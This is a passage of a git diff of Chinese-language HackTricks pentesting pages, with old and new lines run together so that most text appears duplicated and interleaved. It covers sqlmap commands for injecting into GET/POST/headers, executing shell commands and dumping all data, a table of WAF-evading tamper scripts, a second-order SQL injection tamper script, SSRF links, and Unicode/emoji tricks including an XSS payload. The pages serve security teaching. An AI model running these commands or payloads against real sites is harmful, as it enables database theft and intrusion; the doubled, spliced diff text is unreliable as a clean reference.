--auth-cred="<AUTH>" #HTTP authentication credentials (name:password) --auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY --proxy=PROXY
``` ```
## 检索信息 ## 获取信息
### 内部 ### 内部
```bash ```bash
@ -53,22 +54,22 @@
``` ```
# 注入位置 # 注入位置
## 从Burp/ZAP捕获 ## 从 Burp/ZAP 捕获
捕获请求并创建一个req.txt文件 捕获请求并创建一个 req.txt 文件
```bash ```bash
sqlmap -r req.txt --current-user sqlmap -r req.txt --current-user
``` ```
## GET请求注入 ## GET 请求注入
```bash ```bash
sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id sqlmap -u "http://example.com/?id=*" -p id
``` ```
## POST请求注入 ## POST 请求注入
```bash ```bash
sqlmap -u "http://example.com" --data "username=*&password=*" sqlmap -u "http://example.com" --data "username=*&password=*"
``` ```
## 头部和其他 HTTP 方法中的注入 ## 头部和其他HTTP方法中的注入
```bash ```bash
#Inside cookie #Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*" sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -87,8 +88,6 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
``` ```
## Shell
## Shell ## Shell
```bash ```bash
#Exec command #Exec command
@ -114,65 +113,82 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
```bash ```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
``` ```
## 前 ## 前
```bash ```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
``` ```
## 帮助找布尔注入 ## 帮助找布尔注入
```bash ```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch sqlmap -r r.txt -p id --not-string ridiculous --batch
``` ```
## 篡改 ## Tamper
```bash ```bash
--tamper=name_of_the_tamper --tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper
``` ```
| Tamper | 描述 | | Tamper | Description |
| :--- | :--- | | :--- | :--- |
| apostrophemask.py | 用其UTF-8全角对应字符替换撇号字符 | | apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
| apostrophenullencode.py | 用其非法的双Unicode对应字符替换撇号字符 | | apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
| appendnullbyte.py | 在有效载荷末尾附加编码的NULL字节字符 | | appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
| base64encode.py | 对给定有效载荷中的所有字符进行Base64编码 | | base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
| between.py | 将大于运算符('&gt;')替换为'NOT BETWEEN 0 AND #' | | between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 \('&gt;'\) |
| bluecoat.py | 在SQL语句后替换空格字符为有效的随机空白字符。然后将字符'='替换为LIKE运算符 | | bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。之后用 LIKE 运算符替换字符 = |
| chardoubleencode.py | 对给定有效载荷中的所有字符进行双重URL编码不处理已编码的字符 | | chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码 \(不处理已编码的字符\) |
| commalesslimit.py | 将类似'LIMIT M, N'的实例替换为'LIMIT N OFFSET M' | | commalesslimit.py | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例 |
| commalessmid.py | 将类似'MID(A, B, C)'的实例替换为'MID(A FROM B FOR C)' | | commalessmid.py | 用 'MID\(A FROM B FOR C\)' 替换 'MID\(A, B, C\)' 的实例 |
| concat2concatws.py | 将类似'CONCAT(A, B)'的实例替换为'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | | concat2concatws.py | 用 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' 替换 'CONCAT\(A, B\)' 的实例 |
| charencode.py | 对给定有效载荷中的所有字符进行URL编码不处理已编码的字符 | | charencode.py | 对给定有效负载中的所有字符进行 URL 编码 \(不处理已编码的字符\) |
| charunicodeencode.py | 对给定有效载荷中未编码的字符进行Unicode URL编码不处理已编码的字符。"%u0022" | | charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码 \(不处理已编码的字符\)。 "%u0022" |
| charunicodeescape.py | 对给定有效载荷中未编码的字符进行Unicode URL编码不处理已编码的字符。"\u0022" | | charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码 \(不处理已编码的字符\)。 "\u0022" |
| equaltolike.py | 将所有等号运算符('=')替换为'LIKE'运算符 | | equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 \('='\) 的出现 |
| escapequotes.py | 斜杠转义引号('和" | | escapequotes.py | 斜杠转义引号 \(' 和 "\) |
| greatest.py | 将大于运算符('&gt;')替换为'GREATEST'对应字符 | | greatest.py | 用 'GREATEST' 对应项替换大于运算符 \('&gt;'\) |
| halfversionedmorekeywords.py | 在每个关键字前添加有版本的MySQL注释 | | halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
| ifnull2ifisnull.py | 将类似'IFNULL(A, B)'的实例替换为'IF(ISNULL(A), B, A)' | | ifnull2ifisnull.py | 用 'IF\(ISNULL\(A\), B, A\)' 替换 'IFNULL\(A, B\)' 的实例 |
| modsecurityversioned.py | 用有版本的注释包围完整查询 | | modsecurityversioned.py | 用版本化注释包裹完整查询 |
| modsecurityzeroversioned.py | 用零版本的注释包围完整查询 | | modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
| multiplespaces.py | 在SQL关键字周围添加多个空格 | | multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
| nonrecursivereplacement.py | 将预定义的SQL关键字替换为适合替换的表示形式例如.replace\("SELECT", ""\))过滤器 | | nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字 \(例如 .replace\("SELECT", ""\)\) 过滤器 |
| percentage.py | 在每个字符前面添加百分号('%' | | percentage.py | 在每个字符前添加百分号 \('%'\) |
| overlongutf8.py | 转换给定有效载荷中的所有字符(不处理已编码的字符) | | overlongutf8.py | 转换给定有效负载中的所有字符 \(不处理已编码的字符\) |
| randomcase.py | 将每个关键字字符替换为随机大小写值 | | randomcase.py | 用随机大小写值替换每个关键字字符 |
| randomcomments.py | 向SQL关键字添加随机注释 | | randomcomments.py | 向 SQL 关键字添加随机注释 |
| securesphere.py | 追加特殊构造的字符串 | | securesphere.py | 附加特殊构造的字符串 |
| sp_password.py | 在有效载荷末尾附加'sp_password'以自动避免DBMS日志 | | sp\_password.py | 在有效负载末尾附加 'sp\_password' 以自动混淆 DBMS 日志 |
| space2comment.py | 将空格字符(' ')替换为注释 | | space2comment.py | 用注释替换空格字符 \(' '\) |
| space2dash.py | 将空格字符(' ')替换为破折号注释('--')后跟随一个随机字符串和一个新行('\n' | | space2dash.py | 用破折号注释 \('--'\) 替换空格字符 \(' '\),后跟随机字符串和换行符 \('\n'\) |
| space2hash.py | 将空格字符(' ')替换为井号字符('#')后跟随一个随机字符串和一个新行('\n' | | space2hash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\),后跟随机字符串和换行符 \('\n'\) |
| space2morehash.py | 将空格字符(' ')替换为井号字符('#')后跟随一个随机字符串和一个新行('\n' | | space2morehash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\),后跟随机字符串和换行符 \('\n'\) |
| space2mssqlblank.py | 将空格字符(' ')替换为来自有效备用字符集的随机空白字符 | | space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| space2mssqlhash.py | 将空格字符(' ')替换为井号字符('#')后跟随一个新行('\n' | | space2mssqlhash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\),后跟换行符 \('\n'\) |
| space2mysqlblank.py | 将空格字符(' ')替换为来自有效备用字符集的随机空白字符 | | space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| space2mysqldash.py | 将空格字符(' ')替换为破折号注释('--')后跟随一个新行('\n' | | space2mysqldash.py | 用破折号注释 \('--'\) 替换空格字符 \(' '\),后跟换行符 \('\n'\) |
| space2plus.py | 将空格字符(' ')替换为加号('+' | | space2plus.py | 用加号 \('+'\) 替换空格字符 \(' '\) |
| space2randomblank.py | 将空格字符(' ')替换为来自有效备用字符集的随机空白字符 | | space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| symboliclogical.py | 将AND和OR逻辑运算符替换为它们的符号对应字符&&和 | | symboliclogical.py | 用其符号对应项替换 AND 和 OR 逻辑运算符 \(&& 和 | |
| unionalltounion.py | 将UNION ALL SELECT替换为UNION SELECT | | unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
| unmagicquotes.py | 将引号字符(')替换为多字节组合%bf%27并在末尾添加通用注释使其生效 | | unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 \('\),并在末尾添加通用注释 \(以使其工作\) |
| uppercase.py | 将每个关键字字符替换为大写值'INSERT' | | uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
| varnish.py | 追加HTTP头'X-originating-IP' | | varnish.py | 附加 HTTP 头 'X-originating-IP' |
| versionedkeywords.py | 用有版本的MySQL注释括起每个非函数关键字 | | versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
| versionedmorekeywords.py | 用有版本的MySQL注释括起每个关键字 | | versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
| xforwardedfor.py | 追加伪造的HTTP头'X-Forwarded-For' | | xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**SQLMap可以利用二阶SQL注入。**\ **SQLMap 可以利用二次 SQL 注入。**\
您需要提供: 您需要提供:
* **保存SQL注入payload**的**请求** * **请求**,其中将保存 **sqlinjection 负载**
* 将**payload**执行的**请求** * **请求**,其中 **负载** 将被 **执行**
保存SQL注入payload的请求与sqlmap中的任何其他注入一样。可以使用`--second-url`或`--second-req`指定sqlmap可以读取注入输出/执行的请求,如果需要指定来自文件的完整请求。 保存 SQL 注入负载的请求 **与 sqlmap 中的任何其他注入一样指示**。可以使用 `--second-url``--second-req` 指示 **sqlmap 可以读取注入的输出/执行** 的请求,如果您需要从文件中指示完整请求。
**简单的二示例:** **简单的二次注入示例:**
```bash ```bash
#Get the SQL payload execution with a GET to a url #Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php" sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -29,9 +30,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file #Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt sqlmap -r login.txt -p username --second-req details.txt
``` ```
在几种情况下**仅仅这样可能不够**,因为你需要**执行其他操作**,除了发送 payload 和访问不同的页面。 在几个情况下 **这将不够**,因为你需要 **执行其他操作**,除了发送有效负载和访问不同的页面。
当需要这样做时,你可以使用一个**sqlmap tamper**。例如,下面的脚本将使用**sqlmap payload 作为邮箱**注册一个新用户,然后注销。 当需要这样做时,你可以使用 **sqlmap tamper**。例如,以下脚本将注册一个新用户 **使用 sqlmap 有效负载作为电子邮件**注销。
```python ```python
#!/usr/bin/env python #!/usr/bin/env python
@ -59,16 +60,16 @@ headers = kwargs.get("headers", {})
login_account(payload) login_account(payload)
return payload return payload
``` ```
一个**SQLMap篡改器总是在使用有效载荷尝试注入之前执行并且必须返回有效载荷**。在这种情况下,我们不关心有效载荷,但我们关心发送一些请求,因此有效载荷不会被更改 一个 **SQLMap tamper 总是在开始注入尝试之前执行,并且必须返回一个有效负载**。在这种情况下,我们不关心有效负载,但我们关心发送一些请求,因此有效负载没有改变
因此,如果出于某种原因,我们需要一个更复杂的流程来利用第二阶SQL注入如: 因此,如果出于某种原因,我们需要一个更复杂的流程来利用二次 SQL 注入,例如:
* 在“email”字段中插入SQLi有效载荷创建一个帐户 * 在“电子邮件”字段中创建一个包含 SQLi 有效负载的帐户
* 注销 * 登出
* 使用该帐户登录login.txt * 使用该帐户登录 (login.txt)
* 发送请求以执行SQL注入second.txt * 发送请求以执行 SQL 注入 (second.txt)
**这个sqlmap命令将有所帮助:** **这条 sqlmap 命令将有所帮助:**
```bash ```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########## ##########
@ -83,16 +84,17 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln # --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all # -a : Dump all
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SSRF Vulnerable Platforms # SSRF 漏洞平台
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
查看 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** 查看 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,49 +1,50 @@
# Unicode注入 # Unicode Injection
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## ## 介
根据后端/前端在**接收奇怪的Unicode字符**时的行为,攻击者可能能够**绕过保护措施并注入任意字符**,从而可能被用于**滥用注入漏洞**如XSS或SQLi。 根据后端/前端在 **接收奇怪的 unicode 字符** 时的行为,攻击者可能能够 **绕过保护并注入任意字符**,这些字符可能被用于 **利用注入漏洞**,例如 XSS 或 SQLi。
## Unicode规范化 ## Unicode 规范化
Unicode规范化发生在**将Unicode字符规范化为ASCII字符**时。 Unicode 规范化发生在 **unicode 字符被规范化为 ascii 字符** 时。
这种类型漏洞的常见情况是,系统在**检查用户输入后**以某种方式**修改**用户的**输入**。例如,在某些语言中,对输入进行**大写或小写处理**可能会规范化给定的输入,**将Unicode转换为ASCII**生成新字符。\ 这种类型漏洞的一个常见场景发生在系统 **以某种方式修改** 用户的 **输入** **在检查之后**。例如,在某些语言中,简单调用将 **输入转换为大写或小写** 可能会规范化给定的输入,**unicode 将被转换为 ASCII**生成新字符。\
更多信息请查看: 有关更多信息请查看:
{% content-ref url="unicode-normalization.md" %} {% content-ref url="unicode-normalization.md" %}
[unicode-normalization.md](unicode-normalization.md) [unicode-normalization.md](unicode-normalization.md)
{% endcontent-ref %} {% endcontent-ref %}
## `\u`转换为`%` ## `\u``%`
Unicode字符通常用**`\u`前缀**表示。例如,字符`㱋`是`\u3c4b`[在此处检查](https://unicode-explorer.com/c/3c4B))。如果后端**将前缀`\u`转换为`%`**,则结果字符串将为`%3c4b`,解码后为:**`<4b`**。正如您所见**`<`字符被注入**。\ Unicode 字符通常用 **`\u` 前缀** 表示。例如字符 `㱋``\u3c4b`[在这里查看](https://unicode-explorer.com/c/3c4B))。如果后端 **将** 前缀 **`\u` 转换为 `%`**,结果字符串将是 `%3c4b`URL 解码后为:**`<4b`**。如你所见**`<` 字符被注入**。\
如果后端存在漏洞,您可以使用此技术**注入任何类型的字符**。\ 如果后端存在漏洞,你可以使用此技术 **注入任何类型的字符**。\
请访问[https://unicode-explorer.com/](https://unicode-explorer.com/)查找您需要的字符。 查看 [https://unicode-explorer.com/](https://unicode-explorer.com/) 找到你需要的字符。
这个漏洞实际上源自一位研究人员发现的漏洞,有关更详细的解释,请查看[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg) 这个漏洞实际上源于一位研究人员发现的漏洞,想要更深入的解释请查看 [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
## 表情符号注入 ## Emoji 注入
后端在**接收表情符号**时有时会表现出奇怪的行为。这就是发生在[**这篇文章**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)中的情况研究人员成功通过如下有效负载实现XSS`💋img src=x onerror=alert(document.domain)//💛` 后端在 **接收表情符号** 时表现得很奇怪。这在 [**这篇文章**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) 中发生,研究人员成功利用一个有效载荷实现了 XSS例如`💋img src=x onerror=alert(document.domain)//💛`
在这种情况下,错误在于服务器在删除恶意字符后**将UTF-8字符串从Windows-1252转换为UTF-8**(基本上输入编码和转换编码不匹配)。然后这不会给出一个正确的`<`而是一个奇怪的Unicode字符:``\ 在这种情况下,错误在于服务器在删除恶意字符后 **将 UTF-8 字符串从 Windows-1252 转换为 UTF-8**(基本上输入编码和转换编码不匹配)。然后这并没有给出一个正确的 <,而是一个奇怪的 unicode 字符:``\
``因此,他们拿到这个输出后**再次从UTF-8转换为ASCII**。这将**将``规范化为`<`**,这就是该系统上漏洞利用的原理。\ ``所以他们将这个输出 **再次从 UTF-8 转换为 ASCII**。这 **规范化**```<`,这就是该系统上漏洞能够工作的方式。\
这就是发生的情况 发生的事情是
```php ```php
<?php <?php
@ -54,21 +55,22 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str; echo "String: " . $str;
``` ```
表情符号列表: Emoji 列表:
- [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv) * [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv)
- [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html) * [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
{% hint style="success" %}
